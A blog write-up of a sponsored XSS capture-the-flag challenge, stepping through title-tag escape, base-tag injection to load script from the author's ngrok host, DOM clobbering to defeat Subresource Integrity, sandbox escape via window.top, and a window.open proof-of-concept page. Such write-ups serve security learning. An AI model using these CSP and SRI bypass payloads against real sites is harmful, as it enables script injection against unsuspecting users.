XSS bypassing CSP and using DOM clobbering
This is the writeup for a XSS challenge sponsored by Amazon and hosted by BugPoC.
Objectives:
- You must alert(origin) showing https://wacky.buggywebsite.com
- You must bypass CSP
- It must be reproducible using the latest version of Chrome
- You must provide a working proof-of-concept on bugpoc.com
tl;dr
- Input was filtered on the frontend which was bypassed using BURP. Thus directly inserting payload in the request.
- Input was reflected in
<title>
tag. Broke free from it by inserting a closing tag ,</title>
. - CSP was blocking code execution from
script
tags. Using csp-evaluator found thatbase-uri
tag was missing. - Found a
js
file being loaded with relative URL, thus injectingbase
tag would hijack that file and was served from attacker controlled domain - The js file being loaded had a Sub Resource Integrity ( SRI ) check which didn't allow different JS file to be loaded. This was bypassed using DOM Clobbering.
- The attacker controlled js file was being loaded into in
iframe
which hadsandbox
enabled and didn't allowmodals
, as allow-modals wasn't set on it. This sandbox was bypassed by executing the script from thewindow.top
element asallow-same-origin
andallow-scripts
, attributes were set on the sandbox. - Last check was the iframe check, which was easy as it only checked whether the
window.name == 'iframe'
, which was bypassed usingwindow.open(<url>, 'iframe')
, as the second parameter towindow.open
is thename
parameter.
Let's Begin
Now, since we're done with the summary let's delve into the actual nitty-gritty of this challenge and my thought process during it. I saw this tweet on 6th Nov and started looking into the challenge, by then I guess a few people had already solved this.
Initial Look
Any website that I check I start with checking it's source and then it's Elements in the Developer Window
. Same goes for this. Mostly for something hidden or commented out code etc. There wasn't much except an iframe, a custom css file ( style.css
) and a js file script.js
.
Fiddling with the website I realised that any input into the text box which contained &*<>%
was automatically removed. On looking at the script.js
file, the root cause was found.
var isChrome =
/Chrome/.test(navigator.userAgent) && /Google Inc/.test(navigator.vendor)
if (!isChrome) {
document.body.innerHTML = `
<h1>Website Only Available in Chrome</h1>
<p style="text-align:center"> Please visit <a href="https://www.google.com/chrome/">https://www.google.com/chrome/</a> to download Google Chrome if you would like to visit this website</p>.
`
}
document.getElementById('txt').onkeyup = function () {
this.value = this.value.replace(/[&*<>%]/g, '')
}
document.getElementById('btn').onclick = function () {
val = document.getElementById('txt').value
document.getElementById('theIframe').src = '/frame.html?param=' + val
}
Anything that was submitted through the input and submitted by pressing 'Make Whacky!' was reflected into the iframe
with some simple styling to it. This input was passed to the frame.html
as a param
value.
Opening the frame.html
with the param
value in a new tab shows an error :
Figuring out the root cause for this, I found this in the frame.html
code :
if (window.name == 'iframe') {
// ~~~ SNIPPED For Brevity ~~~
} else {
document.body.innerHTML = `
<h1>Error</h1>
<h2>This page can only be viewed from an iframe.</h2>
<video width="400" controls>
<source src="movie.mp4" type="video/mp4">
</video>`
}
So here the window's name
was compared with iframe
. I made a mental note of this.
Let's get deeper - Stage I - Escaping the <title>
tag
Now I hooked my browser with BURP to proxy all traffic through it. In the request I replaced the param
value with URL encoded payload.
</title><script>alert(document.origin);</script>
Now the title tag was escaped but the payload wasn't executed. Chrome devtools very generously pointed us into the right direction as to why the execution was blocked.
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'nonce-mflydrnqobwx' 'strict-dynamic'". Either the 'unsafe-inline' keyword, a hash ('sha256-ccHnFpZFyccn391f0xFsYcN2KM51z+WX8Zcw7q4w2mQ='), or a nonce ('nonce-...') is required to enable inline execution.
Stage I done. Now we need to work on bypassing the CSP.
Stage II - Bypassing the CSP
The first thing I did was to evaluate the CSP using an online evaluator : csp-evaluator.withgoogle.com. It suggested that there's a High severity finding
, base-uri was missing.
Missing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain. Can you set it to 'none' or 'self'?
The <base>
tag specifies the base URL and/or target for all relative URLs in a document.
So, this essentially meants that if an attacker is able to insert a <base href="https://attacker-server.com">
tag into the html then any resource which is being loaded as a relative url then that resource would be loaded from the attacker's server (https://attacker-server.com) .
What are we waiting for then 😎
I quickly went through the source code of frame.html and figured out that frame-analytics.js
was being loaded from a relative url , files/analytics/js/frame-analytics.js
.
I setup a local python server with CORS and then opened it for the world to access using ngrok Recreated the same directory structure :
files
└── analytics
└── js
└── frame-analytics.js
On one of the terminal tab, I started the python server :
python3 main.py 1337
Contents of main.py
#!/usr/bin/env python3
from http.server import HTTPServer, SimpleHTTPRequestHandler, test
import sys
class CORSRequestHandler (SimpleHTTPRequestHandler):
def end_headers (self):
self.send_header('Access-Control-Allow-Origin', '*')
SimpleHTTPRequestHandler.end_headers(self)
if __name__ == '__main__':
test(CORSRequestHandler, HTTPServer, port=int(sys.argv[1]) if len(sys.argv) > 1 else 8000)
And on another, the ngrok client :
./ngrok http 1337
Now for the payload :
</title><base href="https://8ce29d557691.ngrok.io/"><script>
Failed to find a valid digest in the 'integrity' attribute for resource 'https://8ce29d557691.ngrok.io/files/analytics/js/frame-analytics.js' with computed SHA-256 integrity '2REYBEpWCfiE3FQSg0qjlIYCIhXz5XEqOj+bHIyGrgU='. The resource has been blocked
Yay ! Finally we bypassed the CSP and are able to load our script. So, the next hurdle was to bypass this integrity check.
Stage III - Manipulating SRI using DOM Clobbering 🤔
SRI or Sub Resource Integrity was thwarting my attempts to load a malicious frame-analytics.js
file.
Subresource Integrity (SRI) is a security feature that enables browsers to verify that resources they fetch (for example, from a CDN) are delivered without unexpected manipulation. It works by allowing you to provide a cryptographic hash that a fetched resource must match.
I dived into the code again and found the code responsible for it.
<script nonce="oibppqyvtmlj">
window.fileIntegrity = window.fileIntegrity || {
'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
'algorithm' : 'sha256',
'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
'creationtime' : 1602687229
}
// verify we are in an iframe
if (window.name == 'iframe') {
// securely load the frame analytics code
if (fileIntegrity.value) {
// create a sandboxed iframe
analyticsFrame = document.createElement('iframe');
analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
analyticsFrame.setAttribute('class', 'invisible');
document.body.appendChild(analyticsFrame);
// securely add the analytics code into iframe
script = document.createElement('script');
script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
script.setAttribute('crossorigin', 'anonymous');
analyticsFrame.contentDocument.body.appendChild(script);
}
} else {
document.body.innerHTML = `
<h1>Error</h1>
<h2>This page can only be viewed from an iframe.</h2>
<video width="400" controls>
<source src="movie.mp4" type="video/mp4">
</video>`
}
</script>
First the fileIntegrity
object is defined under window
scope. This contains the hash value for frame-analytics.js
i.e. unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=
.
script.setAttribute('integrity', 'sha256-' + fileIntegrity.value)
And in the above line it's being set to the script element which is inserted into an iframe
with 'invisible' class. So we see it's sha256
value. Thus, sha256
hash is fetched from window.fileIntegrity
's value
. So, if by any chance we can control that value then we can insert our hash and insert any file we want.
Well here I was totally stumped. I didn't know how to bypass this check as there's no way that two files would've the same sha256
hash and I also wasn't able to control the value being passed. Then I saw a hint from @bugpoc_official where The Thing was seen 'clobbering' .
I quickly googled 'XSS clobbering' ( as I didn't know there was a thing called DOM clobbering ) and the first article was from PortSwigger, it had everything I needed to know to bypass the file integrity check.
So, what you had to do was essentially create an object with the same id as the object
in this case fileIntegrity
and then when the browser tries to access the object using window.fileIntegrity
it would fetch the attacker created object. And since it's controlled by the attacker you can easily insert any value into the object and thus control the sha256
hash for the file.
So, I created a new payload :
</title><base href="https://8ce29d557691.ngrok.io/" /><body><input id=fileIntegrity value="fpLBF7rRwE7h5GEjCX9L4DlassG8cJEwNWcekVTE0QE=">
Let me explain this payload. Contents of the file frame-analytics.js are :
alert(document.domain)
This sha256
is calculated using the command :
openssl dgst -sha256 -binary ./files/analytics/js/frame-analytics.js | openssl base64 -A
NOTE : If you're facing difficulty with
openssl
you can insert any value and chrome will give an error in the browser console with the actual hash value calculated, which you can then plug in.
URL encoding this payload and sending it we get this :
Ignored call to 'alert()'. The document is sandboxed, and the 'allow-modals' keyword is not set.
(anonymous) @ frame-analytics.js:1
So we bypassed SRI as well, onto the next challenge 😌
Stage IV - Escaping the sandboxed iframe
The iframe where frame-analytics.js
is being loaded from is running in a sandboxed iframe
with attributes :
allow-scripts allow-same-origin
Since allow-modals
is not set we can't create a pop-up modal.
From now on, sandboxed frames will block modal dialogs by default to prevent them from popping up confusing, modal messages to users. This includes the infamous window.alert(), window.confirm(), window.print() and window.prompt(). However if you really (really) want to allow modal dialogs inside a sandboxed frame, you can still add "allow-modals" to its "sandbox" attribute.
This was pretty straightforward, just calling the alert from the window.top
would bypass this.
This is the payload :
window.top.alert(document.domain)
So the frame calls the top window and alert is popped from there.
However this isn't the end 😅
This is the end...
You might ask, how did I conclude that this isn't the solution. Well code doesn't lie. Let's look at it.
window.dataLayer = window.dataLayer || []
function gtag() {
dataLayer.push(arguments)
}
gtag('js', new Date())
gtag('config', 'UA-154052950-4')
!(function () {
var g = window.alert
window.alert = function (b) {
g(b),
g(
atob(
'TmljZSBKb2Igd2l0aCB0aGlzIENURiEgSWYgeW91IGVuam95ZWQgaGFja2luZyB0aGlzIHdlYnNpdGUgdGhlbiB5b3Ugd291bGQgbG92ZSBiZWluZyBhbiBBbWF6b24gU2VjdXJpdHkgRW5naW5lZXIhIEFtYXpvbiB3YXMga2luZCBlbm91Z2ggdG8gc3BvbnNvciBCdWdQb0Mgc28gd2UgY291bGQgbWFrZSB0aGlzIGNoYWxsZW5nZS4gUGxlYXNlIGNoZWNrIG91dCB0aGVpciBqb2Igb3BlbmluZ3Mh'
)
)
}
})()
If you look at the above code, from frame.html
, when the alert
is called it would also call another alert
with the base64 decoded value of the following :
TmljZSBKb2Igd2l0aCB0aGlzIENURiEgSWYgeW91IGVuam95ZWQgaGFja2luZyB0aGlzIHdlYnNpdGUgdGhlbiB5b3Ugd291bGQgbG92ZSBiZWluZyBhbiBBbWF6b24gU2VjdXJpdHkgRW5naW5lZXIhIEFtYXpvbiB3YXMga2luZCBlbm91Z2ggdG8gc3BvbnNvciBCdWdQb0Mgc28gd2UgY291bGQgbWFrZSB0aGlzIGNoYWxsZW5nZS4gUGxlYXNlIGNoZWNrIG91dCB0aGVpciBqb2Igb3BlbmluZ3Mh
which translates to :
Nice Job with this CTF! If you enjoyed hacking this website then you would love being an Amazon Security Engineer! Amazon was kind enough to sponsor BugPoC so we could make this challenge. Please check out their job openings
Thus the alert we popped earlier was from the top window's context and we need to pop alert from the iframe's context.
There was a hack which I tried and it worked as well. You need to replace the frame-analytics.js
code with this :
var ifr = window.top.document.getElementById('theIframe')
ifr.contentWindow.alert(document.domain)
However, this wasn't the intended solution because here the victim's traffic was to be intercepted to insert the payload, which you can easily realise is not an XSS anymore.
So, we needed to find a way where just opening the link would execute the XSS.
Stage V - Naming a window
Let's recap what we already know.
Any payload passed into the param
parameter in frame.html
would be loaded into the iframe.
So why not directly give the victim :
https://wacky.buggywebsite.com/frame.html?param=<your_xss_payload>
This doesn't work because of a check we saw earlier i.e. window.name=='iframe'
. Searching window.name XSS
, I found a 2014 SO post which mentions how you can name a window :
The other way to get hold of another window is to pop it up. You can specify the window name in the second parameter:
I then checked the MDN docs which stated this
var window = window.open(url, windowName, [windowFeatures]);
Thus we had the full exploit chain. I just needed to create a HTML file which when visited will automatically open this frame.html
with our payload.
This is the contents of poc.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>XSS Bug PoC - Amazon Sponsored Challenge</title>
</head>
<body>
<script>
window.open(
'https://wacky.buggywebsite.com/frame.html?param=%3c%2f%74%69%74%6c%65%3e%3c%62%61%73%65%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%38%63%65%32%39%64%35%35%37%36%39%31%2e%6e%67%72%6f%6b%2e%69%6f%2f%22%20%2f%3e%3c%62%6f%64%79%3e%3c%69%6e%70%75%74%20%69%64%3d%66%69%6c%65%49%6e%74%65%67%72%69%74%79%20%76%61%6c%75%65%3d%22%6b%72%6d%52%46%45%69%37%6a%6c%78%6c%32%35%65%41%35%75%62%6f%31%6d%34%4d%46%4b%70%61%76%43%66%6d%57%47%44%39%75%41%58%71%67%41%45%3d%22%3e',
'iframe'
)
</script>
</body>
</html>
Now let's see it in action 😎
Hope this was worth your time, do checkout my youtube channel : HackingSimplified
I post videos every weekend.
Checkout the latest video from the channel :
Twitter : @AseemShrey
Thanks for reading :)